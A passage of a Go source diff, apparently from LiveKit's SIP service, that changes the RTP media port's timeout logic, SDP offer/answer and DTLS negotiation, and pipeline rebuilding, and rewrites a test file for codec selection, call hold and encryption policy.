p.timeoutStart.Load() + if startPtr == nil { + if verbose { + p.log.Infow("media timeout disabled", "packets", p.packetCount.Load()) + } + timer.Reset(disabledPark) + continue + } + startTime := *startPtr + + var lastPacketTime time.Time + if nano := p.lastPacketTime.Load(); nano > 0 { + lastPacketTime = time.Unix(0, nano) + } + + generalTimeout := p.opts.MediaTimeout + if ptr := p.timeoutGeneral.Load(); ptr != nil { + generalTimeout = *ptr + } + + // Initial mode: no media has ever been received on this port. Once a single + // RTP packet arrives, we switch to the general window regardless of any + // subsequent SetTimeout re-arming the startTime. + isInitial := lastPacketTime.IsZero() + var ( + deadline time.Time + timeout time.Duration + ) + if isInitial { + timeout = p.opts.MediaTimeoutInitial + if ptr := p.timeoutInitial.Load(); ptr != nil { + timeout = *ptr + } + deadline = startTime.Add(timeout) + } else { + timeout = generalTimeout + deadline = lastPacketTime.Add(timeout) + } + remaining := time.Until(deadline) + + var sinceLast time.Duration + if !lastPacketTime.IsZero() { + sinceLast = time.Since(lastPacketTime) + } + + if verbose { + log := p.log.WithValues( + "packets", p.packetCount.Load(), + "sinceStart", time.Since(startTime), + "sinceLast", sinceLast, + "remaining", remaining, + "timeout", timeout, + "isInitial", isInitial, + ) + if isInitial { + log.Warnw("media timeout is idle for a long time", nil) + } else { + log.Infow("media timeout stats") + } + } + + if remaining <= 0 { + p.log.Infow("triggering media timeout", + "packets", p.packetCount.Load(), + "sinceStart", time.Since(startTime), + "sinceLast", sinceLast, + "timeout", timeout, + "isInitial", isInitial, + ) + p.mediaTimeout.Break() + return + } + // Cap the wake-up at the general timeout so packet arrivals during a long + // initial window get observed within one general interval, instead of + // having to wait out the full initial deadline. + timer.Reset(min(remaining, generalTimeout)) + } +} + +func (p *mediaPort) closePipelineLocked() { + // Lock must already be held + + // Close switch -> port + if closer := p.audioOut.Swap(nil); closer != nil { + _ = closer.Close() + } + if closer := p.dtmfOut.Swap(nil); closer != nil { + _ = closer.Close() + } + // Close port -> switch + if p.pipeline != nil { + _ = p.pipeline.Close() // Waits until session terminates + p.pipeline = nil + } +} + +func (p *mediaPort) Close() { + p.closed.Once(func() { + defer p.stats.Closed.Store(true) + + logError := func(comp string, err error) { + if err != nil { + p.log.Errorw("error closing media port", err, "component", comp) + } + } + + p.mu.Lock() + defer p.mu.Unlock() + p.closePipelineLocked() + logError("port", p.port.Close()) + conn := p.port.unwrap() + if uc, ok := conn.(*net.UDPConn); ok { + go DrainPort(p.log, uc, p.opts.DrainingIdleTimeout, p.opts.DrainingDuration, nil) + } else { + logError("conn", conn.Close()) + } + + logError("audioIn", p.audioIn.Close()) // Propagate Close() to onwards to room + logError("dtmfIn", p.dtmfIn.Close()) // Propagate Close() to onwards to room + logError("audioOut", p.audioOut.Close()) // No-op, but do anyway + logError("dtmfOut", p.dtmfOut.Close()) // No-op, but do anyway + }) +} + +func (p *mediaPort) CloseWait() { + p.Close() + <-p.closed.Watch() + p.wg.Wait() +} + +func (p *mediaPort) Port() int { + return p.port.LocalAddr().(*net.UDPAddr).Port +} + +func (p *mediaPort) RemoteAddr() netip.AddrPort { + dst := p.port.dst.Load() + if dst == nil { + return netip.AddrPort{} + } + return *dst +} + +// Reported for inbound (SetOffer) only since outbound (SetAnswer) only contains the +// codec picked by the end user, and not what they actually support +func (p *mediaPort) reportPeerCodecs(d sdp.MediaDesc, reinvite bool) { + if p.mon == nil { + return + } + p.mon.PeerSDP(peerCodecNames(d), reinvite) +} + +// Plumbing + +func (p *mediaPort) GetOutboundAudioWriter() msdk.PCM16Writer { + return p.audioOut +} + +func (p *mediaPort) WriteInboundAudioTo(w msdk.PCM16Writer) msdk.PCM16Writer { + return p.audioIn.Swap(w) +} + +func (p *mediaPort) GetOutboundDTMFWriter() msdk.WriteCloser[string] { + return p.dtmfOut +} + +func (p *mediaPort) WriteInboundDTMFTo(w msdk.WriteCloser[string]) msdk.WriteCloser[string] { + return p.dtmfIn.Swap(w) +} + +func (p *mediaPort) Received() <-chan struct{} { + return p.mediaReceived.Watch() +} + +func (p *mediaPort) MediaTimeout() <-chan struct{} { + return p.mediaTimeout.Watch() +} + +// SDP + +func (p *mediaPort) GenerateOffer() ([]byte, error) { + p.mu.Lock() + defer p.mu.Unlock() + if p.offer != nil { + return p.offer.SDP.Marshal() + } + + offer, err := sdp.NewOfferWith(p.codecs, p.externalIP, p.Port(), p.encryption, sdp.WithLocalProfiles(p.localCrypto)) + if err != nil { + return nil, err + } + p.offer = offer + return offer.SDP.Marshal() +} + +func (p *mediaPort) GenerateAnswer(offerData []byte) ([]byte, error) { + if len(offerData) == 0 { + return p.GetLocalSDP() + } + + dtlsConf, err := parseDTLSOffer(offerData, p.opts.DTLSCertificate) + if err != nil { + return nil, SDPError{Err: err} + } + if dtlsConf != nil && !p.opts.DTLSEnabled { + return nil, SDPError{Err: fmt.Errorf("%w: disabled", errDTLSSDP)} + } + if dtlsConf != nil { + p.mu.RLock() + activeDTLS := p.dtls + if sameDTLSRemoteTransport(activeDTLS, dtlsConf) { + reuseDTLSLocalTransport(dtlsConf, activeDTLS) + } + p.mu.RUnlock() + } + + offer, err := parseOfferWith(p.log, p.mon, p.codecs, offerData) + if err != nil { + return nil, SDPError{Err: err} + } + p.mu.RLock() + isReinvite := p.negotiated != nil + p.mu.RUnlock() + p.reportPeerCodecs(offer.MediaDesc, isReinvite) + answerEncryption := p.encryption + if dtlsConf != nil { + answerEncryption = sdp.EncryptionNone + } + answer, mc, err := offer.Answer(p.externalIP, p.Port(), answerEncryption, sdp.WithLocalProfiles(p.localCrypto)) + if err != nil { + return nil, SDPError{Err: err} + } + if dtlsConf != nil { + if err := addDTLSAnswer(&answer.SDP, dtlsConf); err != nil { + return nil, SDPError{Err: err} + } + } + + answerData, err := answer.SDP.Marshal() + if err != nil { + return nil, err + } + err = p.configure(mc, dtlsConf, answerData) + if err != nil { + return nil, err + } + return answerData, nil +} + +func (p *mediaPort) ProcessAnswer(answerData []byte) error { + if len(answerData) == 0 { + return errors.New("no answer provided") + } + + p.mu.RLock() + offer := p.offer + p.mu.RUnlock() + + if offer == nil { + return errors.New("no offer generated") + } + + answer, err := parseAnswerWith(p.log, p.mon, p.codecs, answerData) + if err != nil { + return SDPError{Err: err} + } + mc, localSDP, err := answer.ApplyWithLocal(offer, p.encryption) + if err != nil { + return SDPError{Err: err} + } + + localSDPBytes, err := localSDP.Marshal() + if err != nil { + return err + } + + err = p.configure(mc, nil, localSDPBytes) + if err != nil { + return err + } + p.SetTimeout(p.opts.MediaTimeoutInitial, p.opts.MediaTimeout) + return nil +} + +func (p *mediaPort) GetLocalSDP() ([]byte, error) { + p.mu.RLock() + defer p.mu.RUnlock() + if p.pipeline == nil || len(p.localSDP) == 0 { + return nil, errors.New("no SDP provided, no local SDP available") + } + return p.localSDP, nil +} + +func (p *mediaPort) NegotiatedAudio() *sdp.AudioConfig { + p.mu.RLock() + defer p.mu.RUnlock() + if p.negotiated == nil { + return nil + } + return &p.negotiated.Audio +} + +func parseSDPWithRecovery[T any](log logger.Logger, mon *stats.CallMonitor, fn func(*msdk.CodecSet, []byte) (*T, error), codecs *msdk.CodecSet, data []byte) (res *T, err error) { + defer func() { + if r := recover(); r != nil { + panicErr, ok := r.(error) + if !ok { + panicErr = fmt.Errorf("%v", r) + } + log.Errorw("panic while parsing SDP", panicErr, "stacktrace", string(debug.Stack())) + if mon != nil { + mon.SDPParsePanic() + } + res, err = nil, errors.New("invalid SDP") + } + }() + res, err = fn(codecs, data) + if err != nil && mon != nil { + mon.SDPParseError() + } + return res, err +} + +func parseOfferWith(log logger.Logger, mon *stats.CallMonitor, codecs *msdk.CodecSet, data []byte) (*sdp.Offer, error) { + return parseSDPWithRecovery(log, mon, sdp.ParseOfferWith, codecs, data) +} + +func parseAnswerWith(log logger.Logger, mon *stats.CallMonitor, codecs *msdk.CodecSet, data []byte) (*sdp.Answer, error) { + return parseSDPWithRecovery(log, mon, sdp.ParseAnswerWith, codecs, data) +} + +// Building pipeline + +func (p *mediaPort) configure(c *sdp.MediaConfig, dtlsConf *dtlsMediaConfig, localSDP []byte) error { + // Map the durable udpConn + WriteCloserSwitch anchors onto a fresh mediaPortPipeline. + // Rebuild from scratch under mu: closePipelineLocked (soft-closes the session via udpConn), + // Reopen the port, then Configure a new generation and Swap TX leaves into the anchors. + + if c.Audio.Codec == nil { + return SDPError{Err: errors.New("no audio codec selected")} + } + + p.mu.Lock() // No concurrent rebuilding of the pipeline + defer p.mu.Unlock() + + p.offer = nil + + if p.closed.IsBroken() { + return errors.New("media is already closed") + } + + changeSetSummary := NewChangeSetSummary(p.negotiated, c) + if !sameDTLSRemoteTransport(p.dtls, dtlsConf) { + changeSetSummary |= changeSetDTLSTransport + } + + if changeSetSummary.includes(changeSetLocalAddr) { + return errors.New("unexpected local address change") + } + + audioToPort := p.audioOut.Swap(nil) // either nil or no-op closer + defer func() { p.audioOut.Swap(audioToPort) }() + dtmfToPort := p.dtmfOut.Swap(nil) // either nil or no-op closer + defer func() { p.dtmfOut.Swap(dtmfToPort) }() + + hold := false + + if changeSetSummary.includes(changeSetRemoteAddr) { + if c.Remote.Addr().IsUnspecified() { + // Older hold semantics: c=0.0.0.0 + hold = true + } else { + p.port.SetDst(netip.AddrPortFrom(c.Remote.Addr(), c.Remote.Port())) + p.negotiated.Remote = c.Remote + } + } + if changeSetSummary.includes(changeSetPeerDirection) { + // Newer hold semantics: a=sendonly + // TODO: Support a=recvonly/inactive; requires toggling media timeout; + // maybe gate these on timers being active on the session to prevent dud calls + hold = c.PeerDirection == psdp.DirectionSendOnly + } + if holdEnabled && hold { + audioToPort = nil + dtmfToPort = nil + zero := netip.IPv4Unspecified() + if !c.Remote.Addr().Is4() { + zero = netip.IPv6Unspecified() + } + p.port.SetDst(netip.AddrPortFrom(zero, c.Remote.Port())) + p.log.Infow("peer requested hold", "direction", c.PeerDirection.String(), "remote", c.Remote.String()) + } + if changeSetSummary.shouldReconfigure() { + if changeSetSummary != changeSetNew && !changeSetSummary.includes(changeSetDTLSTransport) { + // Explicitly disable renegotiation for now + // Compatibility to today's behavior: return 200 OK, but don't reconfigure the pipeline + return nil + } + + p.closePipelineLocked() + audioToPort = nil + dtmfToPort = nil + p.port.stopDiscarding() // Needs readDeadline. Must be ahead of Reopen() and NewMediaPortPipeline() + p.port.Reopen() // Allow reads from socket again + + pipelineConfig := &MediaPortPipelineConfig{ + log: p.log, + opts: p.opts, + mon: p.mon, + stats: p.stats, + onNewSSRC: p.mediaReceived.Break, + onPacket: p.onNewMediaPacket, + dtls: dtlsConf, + } + newPipeline, err := NewMediaPortPipeline( + pipelineConfig, + c, + p.port, + p.audioIn, + p.dtmfIn, + p.audioOut.SampleRate(), + ) + if err != nil { + return err + } + + audioToPort, dtmfToPort = newPipeline.GetConnectors() // These are not propagating Close() + p.pipeline = newPipeline + p.localSDP = localSDP + } + p.negotiated = c + p.dtls = dtlsConf + return nil +} + +func (p *mediaPort) onNewMediaPacket() { + p.packetCount.Add(1) + p.lastPacketTime.Store(time.Now().UnixNano()) +} + +type changeSetSummary uint + +const ( + changeSetNew changeSetSummary = 1 << iota // 1 << 0 = 1 + changeSetAudioCodec + changeSetDTMF + changeSetCrypto + changeSetLocalAddr + changeSetRemoteAddr + changeSetPeerDirection + changeSetDTLSTransport +) + +func NewChangeSetSummary(current, new *sdp.MediaConfig) changeSetSummary { + if current == nil { + return changeSetNew + } + var changeSetSummary changeSetSummary + if current.Audio.Codec.Info().SDPName != new.Audio.Codec.Info().SDPName || current.Audio.Type != new.Audio.Type { + changeSetSummary |= changeSetAudioCodec + } + if current.Audio.DTMFType != new.Audio.DTMFType { + changeSetSummary |= changeSetDTMF + } + a, b := current.Crypto, new.Crypto + if a == nil || b == nil { + if a != b { + changeSetSummary |= changeSetCrypto + } + } else { // Profile exists on both + if a.Profile != b.Profile || + !bytes.Equal(a.Keys.LocalMasterKey, b.Keys.LocalMasterKey) || + !bytes.Equal(a.Keys.LocalMasterSalt, b.Keys.LocalMasterSalt) || + !bytes.Equal(a.Keys.RemoteMasterKey, b.Keys.RemoteMasterKey) || + !bytes.Equal(a.Keys.RemoteMasterSalt, b.Keys.RemoteMasterSalt) { + changeSetSummary |= changeSetCrypto + } + } + if current.Local != new.Local { + changeSetSummary |= changeSetLocalAddr + } + if current.Remote != new.Remote { + changeSetSummary |= changeSetRemoteAddr + } + if current.PeerDirection != new.PeerDirection { + changeSetSummary |= changeSetPeerDirection + } + return changeSetSummary +} + +func (c changeSetSummary) shouldReconfigure() bool { + return c&(changeSetNew|changeSetAudioCodec|changeSetDTMF|changeSetCrypto|changeSetDTLSTransport) != 0 +} + +func (c changeSetSummary) includes(feature changeSetSummary) bool { + return c&feature != 0 +} diff --git a/pkg/sip/media_port_negotiation_test.go b/pkg/sip/media_port_negotiation_test.go index d43fe3eff..ebe77c576 100644 --- a/pkg/sip/media_port_negotiation_test.go +++ b/pkg/sip/media_port_negotiation_test.go @@ -1,430 +1,430 @@ -// Copyright 2024 LiveKit, Inc. -// -// Licensed under the Apache License, Version 2.0 (the "License"); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// -// http://www.apache.org/licenses/LICENSE-2.0 -// -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an "AS IS" BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. - -package sip - -import ( - "errors" - "net/netip" - "strings" - "sync" - "testing" - "time" - - "github.com/stretchr/testify/assert" - "github.com/stretchr/testify/require" - - msdk "github.com/livekit/media-sdk" - "github.com/livekit/media-sdk/dtmf" - "github.com/livekit/media-sdk/g711" - "github.com/livekit/media-sdk/g722" - "github.com/livekit/media-sdk/rtp" - "github.com/livekit/media-sdk/sdp" - "github.com/livekit/mediatransportutil/pkg/rtcconfig" - "github.com/livekit/protocol/logger" -) - -// recvBuffer counts samples arriving from the RTP read loop. It only records the count, -// so tests can poll it while the pipeline is still writing. -type recvBuffer struct { - mu sync.Mutex - samples int -} - -func (b *recvBuffer) String() string { return "recvBuffer" } -func (b *recvBuffer) SampleRate() int { return RoomSampleRate } -func (b *recvBuffer) Close() error { return nil } - -func (b *recvBuffer) WriteSample(sample msdk.PCM16Sample) error { - b.mu.Lock() - defer b.mu.Unlock() - b.samples += len(sample) - return nil -} - -func (b *recvBuffer) count() int { - b.mu.Lock() - defer b.mu.Unlock() - return b.samples -} - -func roomFrame() msdk.PCM16Sample { - frame := make(msdk.PCM16Sample, RoomSampleRate/int(time.Second/rtp.DefFrameDur)) - for i := range frame { - if (i/40)%2 == 0 { - frame[i] = 8000 - } else { - frame[i] = -8000 - } - } - return frame -} - -// writeFrames pushes room audio into the port. Write errors are ignored: the in-memory -// UDP pipe is bounded, and a peer that is mid-renegotiation may not be draining it. -func writeFrames(m *mediaPort, frames int) { - w := m.GetOutboundAudioWriter() - frame := roomFrame() - for range frames { - _ = w.WriteSample(frame) - } -} - -// requireAudioFlows asserts that audio written to src is observed by dst's room writer. -func requireAudioFlows(t testing.TB, src *mediaPort, dst *recvBuffer) { - t.Helper() - before := dst.count() - require.Eventually(t, func() bool { - writeFrames(src, 5) - return dst.count() > before - }, 5*time.Second, 50*time.Millisecond, "no audio received") -} - -func testCodecSet(names ...string) *msdk.CodecSet { - set := msdk.NewCodecSet() - set.SetEnabled(dtmf.SDPNameAndRate, true) - for _, name := range names { - set.SetEnabled(name, true) - } - return set -} - -func enabledAudioCodecs() []msdk.Codec { - var audio []msdk.Codec - for _, c := range msdk.GlobalCodecs().ListEnabled() { - if _, ok := c.(msdk.AudioCodec); !ok { - continue // telephone-event and other non-audio codecs - } - audio = append(audio, c) - } - return audio -} - -func allAudioCodecs() []msdk.Codec { - var audio []msdk.Codec - for _, c := range msdk.Codecs() { - if _, ok := c.(msdk.AudioCodec); !ok { - continue // telephone-event and other non-audio codecs - } - audio = append(audio, c) - } - return audio -} - -func answerCodec(t testing.TB, answerData []byte) string { - t.Helper() - answer, err := parseAnswerWith(logger.NewTestLogger(t), nil, defaultCodecs, answerData) - require.NoError(t, err) - for _, c := range answer.Codecs { - if c.Codec == nil || (answer.DTMFType != 0 && c.Type == answer.DTMFType) { - continue - } - return c.Codec.Info().SDPName - } - t.Fatal("no audio codec in answer") - return "" -} - -// A port only offers and accepts the codecs it was configured with. -func TestMediaPortCodecSet(t *testing.T) { - newLocked := func(t *testing.T, names ...string) *mediaPort { - return newTestPort(t, logger.NewTestLogger(t), newTestConn(1), &MediaOptions{ - IP: newIP("127.0.0.1"), - Codecs: testCodecSet(names...), - }, RoomSampleRate) - } - - t.Run("offer lists only enabled codecs", func(t *testing.T) { - m := newLocked(t, g711.ALawSDPNameAndRate) - - offerData, err := m.GenerateOffer() - require.NoError(t, err) - - offer, err := parseOfferWith(logger.NewTestLogger(t), nil, defaultCodecs, offerData) - require.NoError(t, err) - - var names []string - for _, c := range offer.Codecs { - if c.Codec == nil || (offer.DTMFType != 0 && c.Type == offer.DTMFType) { - continue - } - names = append(names, c.Codec.Info().SDPName) - } - assert.Equal(t, []string{g711.ALawSDPNameAndRate}, names) - assert.NotZero(t, offer.DTMFType, "DTMF should still be offered") - }) - - t.Run("answer picks an enabled codec", func(t *testing.T) { - m := newLocked(t, g711.ALawSDPNameAndRate) - - // Peer offers both, only PCMA is enabled here. - offer := sdpWithMedia("m=audio 5004 RTP/AVP 0 8", - "a=rtpmap:0 PCMU/8000", "a=rtpmap:8 PCMA/8000") - answerData, err := m.GenerateAnswer(offer) - require.NoError(t, err) - assert.Equal(t, g711.ALawSDPNameAndRate, answerCodec(t, answerData)) - }) - - t.Run("offer without an enabled codec is rejected", func(t *testing.T) { - m := newLocked(t, g711.ALawSDPNameAndRate) - - offer := sdpWithMedia("m=audio 5004 RTP/AVP 0", "a=rtpmap:0 PCMU/8000") - _, err := m.GenerateAnswer(offer) - require.ErrorIs(t, err, sdp.ErrNoCommonMedia) - }) -} - -func TestMediaPortRejectsDifferentCodecOffer(t *testing.T) { - t.Skip("renegotiation is disabled: GenerateAnswer returns the prior answer when one already exists") - // TODO: change this test to confirm renegotiation when it's enabled - m := newTestPort(t, logger.NewTestLogger(t), newTestConn(1), &MediaOptions{ - IP: newIP("127.0.0.1"), - Codecs: testCodecSet(g711.ULawSDPNameAndRate, g722.SDPNameAndRate), - }, RoomSampleRate) - - sdpA := sdpWithMedia("m=audio 5004 RTP/AVP 0", "a=rtpmap:0 PCMU/8000") - sdpB := sdpWithMedia("m=audio 5004 RTP/AVP 9", "a=rtpmap:9 G722/8000") - - // Offer codec A - answer, err := m.GenerateAnswer(sdpA) - require.NoError(t, err) - require.Equal(t, g711.ULawSDPNameAndRate, answerCodec(t, answer)) - - // Attempt to offer only codec B, expect failure - answer, err = m.GenerateAnswer(sdpB) - require.ErrorIs(t, err, sdp.ErrNoCommonMedia) - - // Offer codec A again, expect success - answer, err = m.GenerateAnswer(sdpA) - require.NoError(t, err) - require.Equal(t, g711.ULawSDPNameAndRate, answerCodec(t, answer)) -} - -// Renegotiation rebuilds the pipeline under the same port and keeps audio flowing, -// including across a codec change that moves the encoder's sample rate. -func TestMediaPortRenegotiation(t *testing.T) { - t.Skip("renegotiation is disabled: GenerateAnswer returns the prior answer when one already exists") - t.Run("repeated", func(t *testing.T) { - m1, m2 := newMediaPair(t, nil, nil, "", RoomSampleRate) - - recv2 := &recvBuffer{} - m2.WriteInboundAudioTo(recv2) - requireAudioFlows(t, m1, recv2) - - for range 3 { - negotiate(t, m1, m2) - - local, err := m1.GetLocalSDP() - require.NoError(t, err) - assert.NotEmpty(t, local) - - // The room-facing writers survive the rebuild, and the new pipeline sends. - assert.NotNil(t, m1.audioOut.Get()) - requireAudioFlows(t, m1, recv2) - } - }) - - t.Run("codec change", func(t *testing.T) { - c1, c2 := newUDPPipe() - log := logger.NewTestLogger(t) - - m1 := newTestPort(t, log.WithName("one"), c1, &MediaOptions{ - IP: newIP("1.1.1.1"), - Ports: rtcconfig.PortRange{Start: 10000}, - }, RoomSampleRate) - m2 := newTestPort(t, log.WithName("two"), c2, &MediaOptions{ - IP: newIP("2.2.2.2"), - Ports: rtcconfig.PortRange{Start: 20000}, - Codecs: testCodecSet(g711.ULawSDPNameAndRate), - }, RoomSampleRate) - - answerData := negotiate(t, m1, m2) - require.Equal(t, g711.ULawSDPNameAndRate, answerCodec(t, answerData)) - - recv2 := &recvBuffer{} - m2.WriteInboundAudioTo(recv2) - requireAudioFlows(t, m1, recv2) - - // G722 samples at 16k, so the encode leaf changes sample rate under the same - // room-facing switch. - m2.codecs = testCodecSet(g722.SDPNameAndRate) - - answerData = negotiate(t, m1, m2) - require.Equal(t, g722.SDPNameAndRate, answerCodec(t, answerData)) - - requireAudioFlows(t, m1, recv2) - }) -} - -// A peer that will not receive (RFC 3264 a=sendonly, or the legacy c=0.0.0.0) stops our -// media without stopping theirs, and resumes on the next offer. -func TestMediaPortHold(t *testing.T) { - t.Skip("hold requires renegotiation: configure returns without rebuilding when a pipeline already exists") - cases := []struct { - name string - hold func(t *testing.T, offer string) string - }{ - { - name: "sendonly", - hold: func(t *testing.T, offer string) string { - held := strings.Replace(offer, "a=sendrecv", "a=sendonly", 1) - require.NotEqual(t, offer, held) - return held - }, - }, - { - name: "zero connection address", - hold: func(t *testing.T, offer string) string { - held := strings.ReplaceAll(offer, "c=IN IP4 2.2.2.2", "c=IN IP4 0.0.0.0") - require.NotEqual(t, offer, held) - return held - }, - }, - } - for _, tc := range cases { - t.Run(tc.name, func(t *testing.T) { - m1, m2 := newMediaPair(t, nil, nil, "", RoomSampleRate) - - recv1 := &recvBuffer{} - m1.WriteInboundAudioTo(recv1) - recv2 := &recvBuffer{} - m2.WriteInboundAudioTo(recv2) - - // Baseline: m1 sends to m2. - require.NotNil(t, m1.audioOut.Get()) - requireAudioFlows(t, m1, recv2) - - // m2 re-INVITEs with the hold form of its offer. - base, err := m2.GenerateOffer() - require.NoError(t, err) - _, err = m1.GenerateAnswer([]byte(tc.hold(t, string(base)))) - require.NoError(t, err) - - // m1 no longer sends: no destination to write to, and the room-facing - // writer is detached. Room audio is dropped rather than erroring. - dst := m1.port.dst.Load() - if assert.NotNil(t, dst) { - assert.True(t, dst.Addr().IsUnspecified(), "held port kept a destination: %v", dst) - } - assert.Nil(t, m1.audioOut.Get(), "held port still accepts room audio") - assert.NoError(t, m1.GetOutboundAudioWriter().WriteSample(roomFrame())) - - sent := recv2.count() - writeFrames(m1, 10) - time.Sleep(100 * time.Millisecond) - assert.Equal(t, sent, recv2.count(), "held port kept sending") - - // ...while m2's media still reaches us. - requireAudioFlows(t, m2, recv1) - - // Resume with the original offer. - _, err = m1.GenerateAnswer(base) - require.NoError(t, err) - - dst = m1.port.dst.Load() - if assert.NotNil(t, dst) { - assert.False(t, dst.Addr().IsUnspecified(), "destination not restored") - assert.Equal(t, m2.Port(), int(dst.Port())) - } - assert.NotNil(t, m1.audioOut.Get()) - - requireAudioFlows(t, m1, recv2) - }) - } -} - -var policyToString = map[sdp.Encryption]string{ - sdp.EncryptionNone: "none", - sdp.EncryptionAllow: "allow", - sdp.EncryptionRequire: "require", -} - -func TestMediaPortEncryptionPolicy(t *testing.T) { - encryptionPolicies := []sdp.Encryption{ - sdp.EncryptionNone, - sdp.EncryptionAllow, - sdp.EncryptionRequire, - } - - forEach := func(t *testing.T, negotiate func(t *testing.T, mp *mediaPort, policy sdp.Encryption) (*sdp.MediaConfig, error)) { - for _, portEncryptionPolicy := range encryptionPolicies { - name := "port=" + policyToString[portEncryptionPolicy] - t.Run(name, func(t *testing.T) { - for _, remoteEncryptionPolicy := range encryptionPolicies { - name := "remote=" + policyToString[remoteEncryptionPolicy] - t.Run(name, func(t *testing.T) { - opts := &MediaOptions{ - IP: netip.MustParseAddr("1.1.1.1"), - Ports: rtcconfig.PortRange{Start: 10000}, - Encryption: portEncryptionPolicy, - } - conn := newTestConn(1) - mp := newTestPort(t, logger.NewTestLogger(t), conn, opts, RoomSampleRate) - - mc, err := negotiate(t, mp, remoteEncryptionPolicy) - if portEncryptionPolicy != sdp.EncryptionAllow && remoteEncryptionPolicy != sdp.EncryptionAllow && portEncryptionPolicy != remoteEncryptionPolicy { - // Expect failue - assert.Error(t, err) - assert.ErrorIs(t, err, sdp.ErrNoCommonCrypto) - return - } - // Expect success - assert.NoError(t, err) - if portEncryptionPolicy == sdp.EncryptionNone || remoteEncryptionPolicy == sdp.EncryptionNone { - assert.Nil(t, mc.Crypto) - } else { - assert.NotNil(t, mc.Crypto) - } - }) - } - }) - } - } - - t.Run("inbound", func(t *testing.T) { // Receive offer - negotiate := func(t *testing.T, mp *mediaPort, policy sdp.Encryption) (*sdp.MediaConfig, error) { - offer, err := sdp.NewOfferWith(defaultCodecs, newIP("127.0.0.1"), 5004, policy) - require.NoError(t, err) - offerData, err := offer.SDP.Marshal() - require.NoError(t, err) - answerData, err := mp.GenerateAnswer(offerData) - if err != nil { - return nil, err - } - answer, err := parseAnswerWith(logger.NewTestLogger(t), nil, defaultCodecs, answerData) - require.NoError(t, err) - mc, _, err := answer.ApplyWithLocal(offer, policy) - return mc, err - } - forEach(t, negotiate) - }) - - t.Run("outbound", func(t *testing.T) { // Send offer, receive answer - negotiate := func(t *testing.T, mp *mediaPort, policy sdp.Encryption) (*sdp.MediaConfig, error) { - offerData, err := mp.GenerateOffer() - require.NoError(t, err) - offer, err := parseOfferWith(logger.NewTestLogger(t), nil, defaultCodecs, offerData) - require.NoError(t, err) - answer, mc, err := offer.Answer(newIP("127.0.0.1"), 5004, policy) - if errors.Is(err, sdp.ErrNoCommonCrypto) { - return mc, err - } - require.NoError(t, err) - answerData, err := answer.SDP.Marshal() - require.NoError(t, err) - return mc, mp.ProcessAnswer(answerData) - } - forEach(t, negotiate) - }) -} +// Copyright 2024 LiveKit, Inc. +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. + +package sip + +import ( + "errors" + "net/netip" + "strings" + "sync" + "testing" + "time" + + "github.com/stretchr/testify/assert" + "github.com/stretchr/testify/require" + + msdk "github.com/livekit/media-sdk" + "github.com/livekit/media-sdk/dtmf" + "github.com/livekit/media-sdk/g711" + "github.com/livekit/media-sdk/g722" + "github.com/livekit/media-sdk/rtp" + "github.com/livekit/media-sdk/sdp" + "github.com/livekit/mediatransportutil/pkg/rtcconfig" + "github.com/livekit/protocol/logger" +) + +// recvBuffer counts samples arriving from the RTP read loop. It only records the count, +// so tests can poll it while the pipeline is still writing. +type recvBuffer struct { + mu sync.Mutex + samples int +} + +func (b *recvBuffer) String() string { return "recvBuffer" } +func (b *recvBuffer) SampleRate() int { return RoomSampleRate } +func (b *recvBuffer) Close() error { return nil } + +func (b *recvBuffer) WriteSample(sample msdk.PCM16Sample) error { + b.mu.Lock() + defer b.mu.Unlock() + b.samples += len(sample) + return nil +} + +func (b *recvBuffer) count() int { + b.mu.Lock() + defer b.mu.Unlock() + return b.samples +} + +func roomFrame() msdk.PCM16Sample { + frame := make(msdk.PCM16Sample, RoomSampleRate/int(time.Second/rtp.DefFrameDur)) + for i := range frame { + if (i/40)%2 == 0 { + frame[i] = 8000 + } else { + frame[i] = -8000 + } + } + return frame +} + +// writeFrames pushes room audio into the port. Write errors are ignored: the in-memory +// UDP pipe is bounded, and a peer that is mid-renegotiation may not be draining it. +func writeFrames(m *mediaPort, frames int) { + w := m.GetOutboundAudioWriter() + frame := roomFrame() + for range frames { + _ = w.WriteSample(frame) + } +} + +// requireAudioFlows asserts that audio written to src is observed by dst's room writer. +func requireAudioFlows(t testing.TB, src *mediaPort, dst *recvBuffer) { + t.Helper() + before := dst.count() + require.Eventually(t, func() bool { + writeFrames(src, 5) + return dst.count() > before + }, 5*time.Second, 50*time.Millisecond, "no audio received") +} + +func testCodecSet(names ...string) *msdk.CodecSet { + set := msdk.NewCodecSet() + set.SetEnabled(dtmf.SDPNameAndRate, true) + for _, name := range names { + set.SetEnabled(name, true) + } + return set +} + +func enabledAudioCodecs() []msdk.Codec { + var audio []msdk.Codec + for _, c := range msdk.GlobalCodecs().ListEnabled() { + if _, ok := c.(msdk.AudioCodec); !ok { + continue // telephone-event and other non-audio codecs + } + audio = append(audio, c) + } + return audio +} + +func allAudioCodecs() []msdk.Codec { + var audio []msdk.Codec + for _, c := range msdk.Codecs() { + if _, ok := c.(msdk.AudioCodec); !ok { + continue // telephone-event and other non-audio codecs + } + audio = append(audio, c) + } + return audio +} + +func answerCodec(t testing.TB, answerData []byte) string { + t.Helper() + answer, err := parseAnswerWith(logger.NewTestLogger(t), nil, defaultCodecs, answerData) + require.NoError(t, err) + for _, c := range answer.Codecs { + if c.Codec == nil || (answer.DTMFType != 0 && c.Type == answer.DTMFType) { + continue + } + return c.Codec.Info().SDPName + } + t.Fatal("no audio codec in answer") + return "" +} + +// A port only offers and accepts the codecs it was configured with. +func TestMediaPortCodecSet(t *testing.T) { + newLocked := func(t *testing.T, names ...string) *mediaPort { + return newTestPort(t, logger.NewTestLogger(t), newTestConn(1), &MediaOptions{ + IP: newIP("127.0.0.1"), + Codecs: testCodecSet(names...), + }, RoomSampleRate) + } + + t.Run("offer lists only enabled codecs", func(t *testing.T) { + m := newLocked(t, g711.ALawSDPNameAndRate) + + offerData, err := m.GenerateOffer() + require.NoError(t, err) + + offer, err := parseOfferWith(logger.NewTestLogger(t), nil, defaultCodecs, offerData) + 